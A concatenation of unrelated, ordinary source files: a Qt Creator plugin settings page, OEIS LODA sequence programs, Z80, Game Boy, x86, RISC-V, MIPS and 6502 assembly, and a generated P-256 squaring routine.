{ CruiseControlSettings::CruiseControlSettings() { refresh = 360; } void CruiseControlSettings::toSettings(QSettings *s) const { s->beginGroup(QLatin1String(Constants::CRUISECONTROL_SETTINGSGROUP)); s->setValue(QLatin1String(Constants::CRUISECONTROL_URL), url); s->setValue(QLatin1String(Constants::CRUISECONTROL_IGNORED), ignore); s->setValue(QLatin1String(Constants::CRUISECONTROL_REFRESH), refresh); s->endGroup(); } void CruiseControlSettings::fromSettings(QSettings *s) { s->beginGroup(QLatin1String(Constants::CRUISECONTROL_SETTINGSGROUP)); url= s->value(QLatin1String(Constants::CRUISECONTROL_URL), QLatin1String("")).toString(); ignore = s->value(QLatin1String(Constants::CRUISECONTROL_IGNORED), QLatin1String("")).toString(); refresh= s->value(QLatin1String(Constants::CRUISECONTROL_REFRESH), 360).toInt(); s->endGroup(); } bool CruiseControlSettings::equals(const CruiseControlSettings &rhs) const { return (url == rhs.url && ignore == rhs.ignore && refresh == rhs.refresh); } // ------------------ CruiseControlSetingsWidget CruiseControlSettingsWidget::CruiseControlSettingsWidget(QWidget *parent) : QWidget(parent), ui(new Ui::CruiseControlSetingsWidget) { ui->setupUi(this); } CruiseControlSettingsWidget::~CruiseControlSettingsWidget() { delete ui; } CruiseControlSettings CruiseControlSettingsWidget::settings() const { CruiseControlSettings rc; rc.url = ui->urlEdit->text(); rc.ignore = ui->ignoreEdit->text(); rc.refresh = ui->refreshSpinBox->value(); return rc; } void CruiseControlSettingsWidget::setSettings(const CruiseControlSettings &s) { ui->urlEdit->setText(s.url ); ui->ignoreEdit->setText(s.ignore); ui->refreshSpinBox->setValue(s.refresh); } // --------------- CruiseControlSetingsPage CruiseControlSettingsPage::CruiseControlSettingsPage(QSharedPointer<CruiseControlSettings> &settings, QObject *parent) : Core::IOptionsPage(parent), m_settings(settings) { setId(Constants::CRUISECONTROL_SETTINGS_ID); setDisplayName( QCoreApplication::translate("CruiseControl", Constants::CRUISECONTROL_SETTINGS_ID)); setCategory( Constants::CRUISECONTROL_SETTINGS_CATEGORY); setDisplayCategory( QCoreApplication::translate("CruiseControl", Constants::CRUISECONTROL_SETTINGS_CATEGORY)); setCategoryIcon(QLatin1String(":/cruisecontrol/resources/cruise.ico")); } CruiseControlSettingsPage::~CruiseControlSettingsPage() { } QWidget *CruiseControlSettingsPage::createPage(QWidget *parent) { m_widget = new CruiseControlSettingsWidget(parent); m_widget->setSettings(*m_settings); return m_widget; } QWidget *CruiseControlSettingsPage::widget() { m_widget = new CruiseControlSettingsWidget; m_widget->setSettings(*m_settings); return m_widget; } void CruiseControlSettingsPage::apply() { if (m_widget) { const CruiseControlSettings newSettings = m_widget->settings(); if (newSettings != *m_settings) { *m_settings = newSettings; m_settings->toSettings(Core::ICore::instance()->settings()); emit settingsUpdated(); } } } } // namespace Internal } // namespace CruiseControl
; A094869: E.g.f.: exp(5x)/(1-5x)^(1/5). ; Submitted by Christian Krause ; 1,6,41,356,4401,78826,1893481,56341416,1978638881,79749105326,3622010623401,182895318578956,10160561511881041,615728464210461906,40414538467581457001,2855999961062529064976,216180544920721807887681 mov $1,1 mov $2,1 lpb $0 sub $0,1 add $1,$3 mul $2,5 add $2,$1 mul $1,5 mul $1,$0 mov $3,$2 lpe mov $0,$2
; A052995: Expansion of 2*x*(1 - x)/(1 - 3*x + x^2). ; 0,2,4,10,26,68,178,466,1220,3194,8362,21892,57314,150050,392836,1028458,2692538,7049156,18454930,48315634,126491972,331160282,866988874,2269806340,5942430146,15557484098,40730022148,106632582346,279167724890,730870592324,1913444052082,5009461563922,13114940639684,34335360355130,89891140425706,235338060921988,616123042340258,1613031066098786,4222970155956100 mov $3,8 lpb $0,1 mov $1,$3 lpb $0,1 sub $0,1 add $1,$2 add $2,$1 lpe lpe div $1,4
SECTION code_clib SECTION code_l_sdcc PUBLIC ___sdcc_enter_ix ___sdcc_enter_ix: IF __SDCC_IX ex (sp),ix push ix ld ix,2 add ix,sp ret ELSE ex (sp),iy push iy ld iy,2 add iy,sp ret ENDIF
/* !@ MIT License Copyright (c) 2020 Skylicht Technology CO., LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. This file is part of the "Skylicht Engine". https://github.com/skylicht-lab/skylicht-engine !# */ #include "pch.h" #include "CBaseMeshImporter.h" namespace Skylicht { CBaseMeshImporter::CBaseMeshImporter() { } CBaseMeshImporter::~CBaseMeshImporter() { } void CBaseMeshImporter::addTextureFolder(const char *folder) { m_textureFolder.push_back(folder); } std::vector<std::string>& CBaseMeshImporter::getTextureFolder() { return m_textureFolder; } }
#include <Implementation.h> #include <any> #include <memory> namespace dpa::internal { std::shared_ptr<std::any> Implementation::impl() { if (!m_pImpl) m_pImpl = createImpl(); return m_pImpl; } }
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld a, ff ldff(45), a ld b, 91 call lwaitly_b ld hl, fe00 ld d, 10 ld a, d ld(hl++), a ld a, 08 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 0c ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 10 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 28 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 2c ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 30 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 48 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 4c ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 50 ld(hl++), a ld a, 40 ldff(41), a ld a, 02 ldff(ff), a xor a, a ldff(0f), a ei ld a, 01 ldff(45), a ld c, 41 ld a, 93 ldff(40), a .text@1000 lstatint: nop .text@109e ldff a, (c) and a, 03 jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
; float atanh(float x) SECTION code_fp_math48 PUBLIC cm48_sdcciy_atanh EXTERN cm48_sdcciy_atanh_fastcall cm48_sdcciy_atanh: pop af pop hl pop de push de push hl push af jp cm48_sdcciy_atanh_fastcall
;/** @file ; ; IDT vector entry. ; ; Copyright (c) 2007 - 2016, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ;**/ SECTION .text ; ;------------------------------------------------------------------------------ ; Generic IDT Vector Handlers for the Host. ; ;------------------------------------------------------------------------------ ALIGN 8 global ASM_PFX(AsmGetVectorTemplatInfo) global ASM_PFX(AsmVectorFixup) @VectorTemplateBase: push eax db 0x6a ; push #VectorNumber @VectorNum: db 0 mov eax, CommonInterruptEntry jmp eax @VectorTemplateEnd: global ASM_PFX(AsmGetVectorTemplatInfo) ASM_PFX(AsmGetVectorTemplatInfo): mov ecx, [esp + 4] mov dword [ecx], @VectorTemplateBase mov eax, (@VectorTemplateEnd - @VectorTemplateBase) ret global ASM_PFX(AsmVectorFixup) ASM_PFX(AsmVectorFixup): mov eax, dword [esp + 8] mov ecx, [esp + 4] mov [ecx + (@VectorNum - @VectorTemplateBase)], al ret ;---------------------------------------; ; CommonInterruptEntry ; ;---------------------------------------; ; The follow algorithm is used for the common interrupt routine. ; ; +---------------------+ <-- 16-byte aligned ensured by processor ; + Old SS + ; +---------------------+ ; + Old RSP + ; +---------------------+ ; + RFlags + ; +---------------------+ ; + CS + ; +---------------------+ ; + RIP + ; +---------------------+ ; + Error Code + ; +---------------------+ ; + Vector Number + ; +---------------------+ CommonInterruptEntry: cli jmp $
; A324352: Total number of occurrences of 2 in the (signed) displacement sets of all permutations of [n+2] divided by 2!. ; Submitted by Jamie Morken(w2) ; 0,1,5,28,179,1306,10757,98932,1006007,11214406,136041329,1784556808,25174694723,380087428618,6115760751869,104481070398556,1888837397941487,36026457717419662,723015306101706857,15230427461356523056,336009169512596054459,7747901220675953099218,186381921363089046105653,4669471956307893051358468,121644031500781613783751719,3290323356015042377594147926,92283122861052290175219786977,2680364716816273578884369881432,80527109449532059482879164809907,2499705257550557146649680916977306 add $0,1 mov $1,1 mov $2,1 mov $4,-1 mov $5,-1 lpb $0 sub $0,1 add $2,1 sub $3,$1 mul $1,$2 mul $3,$0 mul $3,$5 sub $4,$3 add $3,$4 add $3,$1 add $3,$4 lpe mov $0,$3 div $0,2
audio_header: MACRO db (_NARG - 2) << 6 | \2 dw \1_\2 IF _NARG > 2 db \3 dw \1_\3 ENDC IF _NARG > 3 db \4 dw \1_\4 ENDC IF _NARG > 4 db \5 dw \1_\5 ENDC ENDM const_def $10 ; arguments: length [0, 7], pitch change [-7, 7] ; length: length of time between pitch shifts ; sometimes used with a value >7 in which case the MSB is ignored ; pitch change: positive value means increase in pitch, negative value means decrease in pitch ; small magnitude means quick change, large magnitude means slow change ; in signed magnitude representation, so a value of 8 is the same as (negative) 0 const pitch_sweep_cmd ; $10 pitch_sweep: MACRO db pitch_sweep_cmd IF \2 < 0 db (\1 << 4) | (%1000 | (\2 * -1)) ELSE db (\1 << 4) | \2 ENDC ENDM const_next $20 const sfx_note_cmd ; $20 ; arguments: length [0, 15], volume [0, 15], fade [-7, 7], frequency ; fade: positive value means decrease in volume, negative value means increase in volume ; small magnitude means quick change, large magnitude means slow change ; in signed magnitude representation, so a value of 8 is the same as (negative) 0 square_note_cmd EQU sfx_note_cmd ; $20 square_note: MACRO db square_note_cmd | \1 IF \3 < 0 db (\2 << 4) | (%1000 | (\3 * -1)) ELSE db (\2 << 4) | \3 ENDC dw \4 ENDM ; arguments: length [0, 15], volume [0, 15], fade [-7, 7], frequency ; fade: positive value means decrease in volume, negative value means increase in volume ; small magnitude means quick change, large magnitude means slow change ; in signed magnitude representation, so a value of 8 is the same as (negative) 0 noise_note_cmd EQU sfx_note_cmd ; $20 noise_note: MACRO db noise_note_cmd | \1 IF \3 < 0 db (\2 << 4) | (%1000 | (\3 * -1)) ELSE db (\2 << 4) | \3 ENDC db \4 ENDM ; arguments: pitch, length [1, 16] note: MACRO db (\1 << 4) | (\2 - 1) ENDM const_next $b0 ; arguments: instrument [1, 19], length [1, 16] const drum_note_cmd ; $b0 drum_note: MACRO db drum_note_cmd | (\2 - 1) db \1 ENDM ; arguments: instrument, length [1, 16] ; like drum_note but one 1 byte instead of 2 ; can only be used with instruments 1-10, excluding 2 ; unused drum_note_short: MACRO db (\1 << 4) | (\2 - 1) ENDM const_next $c0 ; arguments: length [1, 16] const rest_cmd ; $c0 rest: MACRO db rest_cmd | (\1 - 1) ENDM const_next $d0 ; arguments: speed [0, 15], volume [0, 15], fade [-7, 7] ; fade: positive value means decrease in volume, negative value means increase in volume ; small magnitude means quick change, large magnitude means slow change ; in signed magnitude representation, so a value of 8 is the same as (negative) 0 const note_type_cmd ; $d0 note_type: MACRO db note_type_cmd | \1 IF \3 < 0 db (\2 << 4) | (%1000 | (\3 * -1)) ELSE db (\2 << 4) | \3 ENDC ENDM ; arguments: speed [0, 15] drum_speed_cmd EQU note_type_cmd ; $d0 drum_speed: MACRO db drum_speed_cmd | \1 ENDM const_next $e0 ; arguments: octave [1, 8] const octave_cmd ; $e0 octave: MACRO db octave_cmd | (8 - \1) ENDM const_next $e8 ; when enabled, effective frequency used is incremented by 1 const toggle_perfect_pitch_cmd ; $e8 toggle_perfect_pitch: MACRO db toggle_perfect_pitch_cmd ENDM const_skip ; $e9 ; arguments: delay [0, 255], depth [0, 15], rate [0, 15] ; delay: time delay until vibrato effect begins ; depth: amplitude of vibrato wave ; rate: frequency of vibrato wave const vibrato_cmd ; $ea vibrato: MACRO db vibrato_cmd db \1 db (\2 << 4) | \3 ENDM ; arguments: length [1, 256], octave [1, 8], pitch const pitch_slide_cmd ; $eb pitch_slide: MACRO db pitch_slide_cmd db \1 - 1 db ((8 - \2) << 4) | \3 ENDM ; arguments: duty cycle [0, 3] (12.5%, 25%, 50%, 75%) const duty_cycle_cmd ; $ec duty_cycle: MACRO db duty_cycle_cmd db \1 ENDM ; arguments: tempo [0, $ffff] ; used to calculate note delay counters ; so a smaller value means music plays faster ; ideally should be set to $100 or less to guarantee no overflow ; if larger than $100, large note speed or note length values might cause overflow ; stored in big endian const tempo_cmd ; $ed tempo: MACRO db tempo_cmd db HIGH(\1), LOW(\1) ENDM ; arguments: left output enable mask, right output enable mask const stereo_panning_cmd ; $ee stereo_panning: MACRO db stereo_panning_cmd db (\1 << 4) | \2 ENDM const unknownmusic0xef_cmd ; $ef unknownmusic0xef: MACRO db unknownmusic0xef_cmd db \1 ENDM ; arguments: left master volume [0, 7], right master volume [0, 7] const volume_cmd ; $f0 volume: MACRO db volume_cmd db (\1 << 4) | \2 ENDM const_next $f8 ; when enabled, the sfx data is interpreted as music data const execute_music_cmd ; $f8 execute_music: MACRO db execute_music_cmd ENDM const_next $fc ; arguments: duty cycle 1, duty cycle 2, duty cycle 3, duty cycle 4 const duty_cycle_pattern_cmd ; $fc duty_cycle_pattern: MACRO db duty_cycle_pattern_cmd db \1 << 6 | \2 << 4 | \3 << 2 | \4 ENDM ; arguments: address const sound_call_cmd ; $fd sound_call: MACRO db sound_call_cmd dw \1 ENDM ; arguments: count, address const sound_loop_cmd ; $fe sound_loop: MACRO db sound_loop_cmd db \1 dw \2 ENDM const sound_ret_cmd ; $ff sound_ret: MACRO db sound_ret_cmd ENDM
; A056106: Second spoke of a hexagonal spiral. ; 1,3,11,25,45,71,103,141,185,235,291,353,421,495,575,661,753,851,955,1065,1181,1303,1431,1565,1705,1851,2003,2161,2325,2495,2671,2853,3041,3235,3435,3641,3853,4071,4295,4525,4761,5003,5251,5505,5765,6031,6303,6581,6865,7155,7451,7753,8061,8375,8695,9021,9353,9691,10035,10385,10741,11103,11471,11845,12225,12611,13003,13401,13805,14215,14631,15053,15481,15915,16355,16801,17253,17711,18175,18645,19121,19603,20091,20585,21085,21591,22103,22621,23145,23675,24211,24753,25301,25855,26415,26981,27553 mov $1,$0 mul $1,3 sub $1,1 mul $0,$1 add $0,1
.text win: addi sp, sp , -12 sw s0, 0(sp) sw t0, 4(sp) sw t1, 8(sp) la a1, bmp_win # pointer to string of filename; necessary for load_bmp jal load_bmp # loads the win bitmap li s0, KEYBOARD_ADDRESS win.loop: # endless loop for key stroke detection lw t0, (s0) # bool key_pressed beq t0, zero, win.end # if (key_pressed == 1) lw t0, 4(s0) # ASCII value of pressed key win.start: # switch loop to determine whether 'spacebar' is pressed win.spacebar: li t1, 32 # ASCII code for spacebar bne t0, t1 win.end lw s0, 0(sp) lw t0, 4(sp) lw t1, 8(sp) addi sp, sp, 12 j homescreen # opens the homescreen beq zero, zero win.end win.end: j win.loop
.data .text addi $s0, $zero, 4 #s0 = 2; sll $t0, $s0, 2 #t0 = s0 * 2^n, n = 2: t0 = 4 * 4 = 16; #Print results li $v0, 1 #set print type to integer add $a0, $zero, $t0 #set t0 to the print buffer syscall #Do It!
SECTION .text GLOBAL square_p256 square_p256: sub rsp, 0x60 ; last 0x30 (6) for Caller - save regs mov [ rsp + 0x30 ], rbx; saving to stack mov [ rsp + 0x38 ], rbp; saving to stack mov [ rsp + 0x40 ], r12; saving to stack mov [ rsp + 0x48 ], r13; saving to stack mov [ rsp + 0x50 ], r14; saving to stack mov [ rsp + 0x58 ], r15; saving to stack mov rax, [ rsi + 0x8 ]; load m64 x1 to register64 mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx mulx r10, r11, rax; x44, x43<- x1 * arg1[1] mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx mulx rbx, rbp, rax; x40, x39<- x1 * arg1[3] mov rdx, rax; x1 to rdx mulx rax, r12, [ rsi + 0x0 ]; x46, x45<- x1 * arg1[0] mov r13, [ rsi + 0x0 ]; load m64 x4 to register64 xor r14, r14 adox r11, rax mulx rdx, r15, [ rsi + 0x10 ]; x42, x41<- x1 * arg1[2] adox r15, r10 adox rbp, rdx mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx rcx, r8, r13; x12, x11<- x4 * arg1[0] mov rdx, 0xffffffffffffffff ; moving imm to reg mulx r9, r10, r8; x25, x24<- x11 * 0xffffffffffffffff adox rbx, r14 mov rax, 0xffffffff ; moving imm to reg xchg rdx, r8; x11, swapping with 0xffffffffffffffff, which is currently in rdx mulx r14, r8, rax; x23, x22<- x11 * 0xffffffff adcx r10, rdx mov r10, rdx; preserving value of x11 into a new reg mov rdx, [ rsi + 0x8 ]; saving arg1[1] in rdx. mov [ rsp + 0x0 ], rdi; spilling out1 to mem mulx rax, rdi, r13; x10, x9<- x4 * arg1[1] mov rdx, -0x2 ; moving imm to reg inc rdx; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1) adox r8, r9 seto r9b; spill OF x27 to reg (r9) inc rdx; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) adox rdi, rcx adcx r8, rdi setc cl; spill CF x32 to reg (rcx) clc; adcx r12, r8 xchg rdx, r13; x4, swapping with 0x0, which is currently in rdx mulx rdi, r8, [ rsi + 0x10 ]; x8, x7<- x4 * arg1[2] mov r13, 0xffffffffffffffff ; moving imm to reg xchg rdx, r12; x54, swapping with x4, which is currently in rdx mov [ rsp + 0x8 ], rbx; spilling x53 to mem mov [ rsp + 0x10 ], rbp; spilling x51 to mem mulx rbx, rbp, r13; x69, x68<- x54 * 0xffffffffffffffff adox r8, rax xchg rdx, r12; x4, swapping with x54, which is currently in rdx mulx rdx, rax, [ rsi + 0x18 ]; x6, x5<- x4 * arg1[3] movzx r13, r9b; x28, copying x27 here, cause x27 is needed in a reg for other than x28, namely all: , x28, size: 1 lea r13, [ r13 + r14 ] setc r14b; spill CF x55 to reg (r14) clc; adcx rbp, r12 mov rbp, 0xffffffff ; moving imm to reg xchg rdx, rbp; 0xffffffff, swapping with x6, which is currently in rdx mov [ rsp + 0x18 ], r15; spilling x49 to mem mulx r9, r15, r12; x67, x66<- x54 * 0xffffffff adox rax, rdi setc dil; spill CF x74 to reg (rdi) clc; mov rdx, -0x1 ; moving imm to reg movzx rcx, cl adcx rcx, rdx; loading flag adcx r8, r13 mov rcx, 0x0 ; moving imm to reg adox rbp, rcx mov r13, 0xffffffff00000001 ; moving imm to reg mov rdx, r13; 0xffffffff00000001 to rdx mulx r10, r13, r10; x21, x20<- x11 * 0xffffffff00000001 mov rdx, -0x3 ; moving imm to reg inc rdx; OF<-0x0, preserve CF (debug 7; load -3, increase it, save it as -2). #last resort adox r15, rbx adcx r13, rax seto bl; spill OF x71 to reg (rbx) dec rcx; OF<-0x0, preserve CF (debug: state 3 (y: 0, n: -1)) movzx r14, r14b adox r14, rcx; loading flag adox r8, r11 mov r11, [ rsp + 0x18 ]; x58, copying x49 here, cause x49 is needed in a reg for other than x58, namely all: , x58--x59, size: 1 adox r11, r13 adcx r10, rbp mov r14, [ rsp + 0x10 ]; x60, copying x51 here, cause x51 is needed in a reg for other than x60, namely all: , x60--x61, size: 1 adox r14, r10 setc al; spill CF x38 to reg (rax) clc; movzx rdi, dil adcx rdi, rcx; loading flag adcx r8, r15 movzx rdi, bl; x72, copying x71 here, cause x71 is needed in a reg for other than x72, namely all: , x72, size: 1 lea rdi, [ rdi + r9 ] mov r9, 0xffffffff00000001 ; moving imm to reg mov rdx, r9; 0xffffffff00000001 to rdx mulx r12, r9, r12; x65, x64<- x54 * 0xffffffff00000001 mov rbp, [ rsi + 0x10 ]; load m64 x2 to register64 adcx rdi, r11 movzx rax, al mov r15, [ rsp + 0x8 ]; x62, copying x53 here, cause x53 is needed in a reg for other than x62, namely all: , x62--x63, size: 1 adox r15, rax mov rbx, rdx; preserving value of 0xffffffff00000001 into a new reg mov rdx, [ rsi + 0x0 ]; saving arg1[0] in rdx. mulx r13, r11, rbp; x91, x90<- x2 * arg1[0] mov rdx, rbp; x2 to rdx mulx rbp, rax, [ rsi + 0x8 ]; x89, x88<- x2 * arg1[1] adcx r9, r14 adcx r12, r15 seto r10b; spill OF x83 to reg (r10) adc r10b, 0x0 movzx r10, r10b adox rax, r13 mulx r14, r15, [ rsi + 0x10 ]; x87, x86<- x2 * arg1[2] adox r15, rbp mulx rdx, r13, [ rsi + 0x18 ]; x85, x84<- x2 * arg1[3] adox r13, r14 adcx r11, r8 adcx rax, rdi adcx r15, r9 mov r8, 0xffffffff ; moving imm to reg xchg rdx, r8; 0xffffffff, swapping with x85, which is currently in rdx mulx rdi, rbp, r11; x112, x111<- x99 * 0xffffffff mov r9, 0x0 ; moving imm to reg adox r8, r9 adcx r13, r12 mov r12, 0xffffffffffffffff ; moving imm to reg xchg rdx, r11; x99, swapping with 0xffffffff, which is currently in rdx mulx r14, r9, r12; x114, x113<- x99 * 0xffffffffffffffff inc rcx; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) adox rbp, r14 adox rdi, rcx movzx r14, r10b; x107, copying x83 here, cause x83 is needed in a reg for other than x107, namely all: , x107--x108, size: 1 adcx r14, r8 mulx r10, r8, rbx; x110, x109<- x99 * 0xffffffff00000001 mov r12, -0x3 ; moving imm to reg inc r12; OF<-0x0, preserve CF (debug 7; load -3, increase it, save it as -2). #last resort adox r9, rdx adox rbp, rax mov r9, [ rsi + 0x18 ]; load m64 x3 to register64 adox rdi, r15 adox r8, r13 mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx rax, r15, r9; x136, x135<- x3 * arg1[0] mov rdx, r9; x3 to rdx mulx r9, r13, [ rsi + 0x8 ]; x134, x133<- x3 * arg1[1] adox r10, r14 seto r14b; spill OF x127 to reg (r14) mov r12, -0x3 ; moving imm to reg inc r12; OF<-0x0, preserve CF (debug 7; load -3, increase it, save it as -2). #last resort adox r15, rbp movzx rbp, r14b; x128, copying x127 here, cause x127 is needed in a reg for other than x128, namely all: , x128, size: 1 adcx rbp, rcx mov r14, 0xffffffffffffffff ; moving imm to reg xchg rdx, r15; x144, swapping with x3, which is currently in rdx mulx rcx, r12, r14; x159, x158<- x144 * 0xffffffffffffffff mulx r14, rbx, r11; x157, x156<- x144 * 0xffffffff clc; adcx rbx, rcx xchg rdx, r15; x3, swapping with x144, which is currently in rdx mulx rcx, r11, [ rsi + 0x18 ]; x130, x129<- x3 * arg1[3] mov [ rsp + 0x20 ], rbp; spilling x128 to mem mulx rdx, rbp, [ rsi + 0x10 ]; x132, x131<- x3 * arg1[2] mov [ rsp + 0x28 ], r10; spilling x126 to mem setc r10b; spill CF x161 to reg (r10) clc; adcx r13, rax adox r13, rdi movzx rdi, r10b; x162, copying x161 here, cause x161 is needed in a reg for other than x162, namely all: , x162, size: 1 lea rdi, [ rdi + r14 ] setc al; spill CF x138 to reg (rax) clc; adcx r12, r15 adcx rbx, r13 setc r12b; spill CF x166 to reg (r12) seto r14b; spill OF x147 to reg (r14) mov r10, rbx; x174, copying x165 here, cause x165 is needed in a reg for other than x174, namely all: , x174--x175, x184, size: 2 mov r13, 0xffffffffffffffff ; moving imm to reg sub r10, r13 mov r13, 0x0 ; moving imm to reg dec r13; OF<-0x0, preserve CF (debug: state 4 (thanks Paul)) movzx rax, al adox rax, r13; loading flag adox r9, rbp adox r11, rdx mov rdx, 0x0 ; moving imm to reg adox rcx, rdx inc r13; OF<-0x0, preserve CF (debug: state 1(-0x1) (thanks Paul)) mov rdx, -0x1 ; moving imm to reg movzx r14, r14b adox r14, rdx; loading flag adox r8, r9 mov rbp, [ rsp + 0x28 ]; x150, copying x126 here, cause x126 is needed in a reg for other than x150, namely all: , x150--x151, size: 1 adox rbp, r11 mov rax, [ rsp + 0x20 ]; x152, copying x128 here, cause x128 is needed in a reg for other than x152, namely all: , x152--x153, size: 1 adox rax, rcx mov r14, 0xffffffff00000001 ; moving imm to reg mov rdx, r14; 0xffffffff00000001 to rdx mulx r15, r14, r15; x155, x154<- x144 * 0xffffffff00000001 seto r9b; spill OF x153 to reg (r9) dec r13; OF<-0x0, preserve CF (debug: state 3 (y: 0, n: -1)) movzx r12, r12b adox r12, r13; loading flag adox r8, rdi adox r14, rbp seto dil; spill OF x170 to reg (rdi) mov r12, r8; x176, copying x167 here, cause x167 is needed in a reg for other than x176, namely all: , x176--x177, x185, size: 2 mov r11, 0xffffffff ; moving imm to reg sbb r12, r11 mov rcx, r14; x178, copying x169 here, cause x169 is needed in a reg for other than x178, namely all: , x186, x178--x179, size: 2 sbb rcx, 0x00000000 inc r13; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) mov rbp, -0x1 ; moving imm to reg movzx rdi, dil adox rdi, rbp; loading flag adox rax, r15 movzx r15, r9b; x173, copying x153 here, cause x153 is needed in a reg for other than x173, namely all: , x173, size: 1 adox r15, r13 mov r9, rax; x180, copying x171 here, cause x171 is needed in a reg for other than x180, namely all: , x187, x180--x181, size: 2 sbb r9, rdx sbb r15, 0x00000000 cmovc r9, rax; if CF, x187<- x171 (nzVar) cmovc rcx, r14; if CF, x186<- x169 (nzVar) cmovc r12, r8; if CF, x185<- x167 (nzVar) mov r15, [ rsp + 0x0 ]; load m64 out1 to register64 mov [ r15 + 0x8 ], r12; out1[1] = x185 mov [ r15 + 0x10 ], rcx; out1[2] = x186 mov [ r15 + 0x18 ], r9; out1[3] = x187 cmovc r10, rbx; if CF, x184<- x165 (nzVar) mov [ r15 + 0x0 ], r10; out1[0] = x184 mov rbx, [ rsp + 0x30 ]; restoring from stack mov rbp, [ rsp + 0x38 ]; restoring from stack mov r12, [ rsp + 0x40 ]; restoring from stack mov r13, [ rsp + 0x48 ]; restoring from stack mov r14, [ rsp + 0x50 ]; restoring from stack mov r15, [ rsp + 0x58 ]; restoring from stack add rsp, 0x60 ret ; cpu AMD Ryzen Threadripper 1900X 8-Core Processor ; clocked at 2200 MHz ; first cyclecount 99.56, best 78.47826086956522, lastGood 83.0989010989011 ; seed 4285393296769624 ; CC / CFLAGS clang / -march=native -mtune=native -O3 ; time needed: 844304 ms / 60000 runs=> 14.071733333333333ms/run ; Time spent for assembling and measureing (initial batch_size=91, initial num_batches=101): 207586 ms ; Ratio (time for assembling + measure)/(total runtime for 60000runs): 0.24586641778316815 ; number reverted permutation/ tried permutation: 25320 / 30063 =84.223% ; number reverted decision/ tried decision: 22299 / 29938 =74.484%
pepper_ai_attack_selector: .( ; Do not try to attack in incapacited states, it would ruin ai reactivity after such states lda player_b_state cmp #PEPPER_STATE_CRASHING beq end cmp #PEPPER_STATE_HYPERSPEED_CRASHING beq end jmp ai_attack_selector ; No return, jump to subroutine end: rts .) pepper_ai_recover_selector: .( platform_handler_lsb = tmpfield1 platform_handler_msb = tmpfield2 endangered = tmpfield3 best_platform = tmpfield4 ;tmpfield5 used by platform handler .( ; Skip everything if the player is grounded lda player_b_grounded bne dont_try_to_recover ; Check that the player is offstage - no platform behind him lda #1 sta endangered lda #0 sta best_platform lda #<platform_handler sta platform_handler_lsb lda #>platform_handler sta platform_handler_msb jsr stage_iterate_all_elements lda endangered bne try_to_recover dont_try_to_recover: jmp end try_to_recover: ; Set action modifier to the platform's direction lda #CONTROLLER_BTN_RIGHT sta ai_current_action_modifier ldy best_platform SIGNED_CMP(player_b_x, player_b_x_screen, stage_data+STAGE_PLATFORM_OFFSET_RIGHT COMMA y, #0) bmi direction_set lda #CONTROLLER_BTN_LEFT sta ai_current_action_modifier direction_set: ; Set the idle action if ; - the player is on hitstun ; - or the platform is lower than player ; - or the player is not on falling, thrown nor 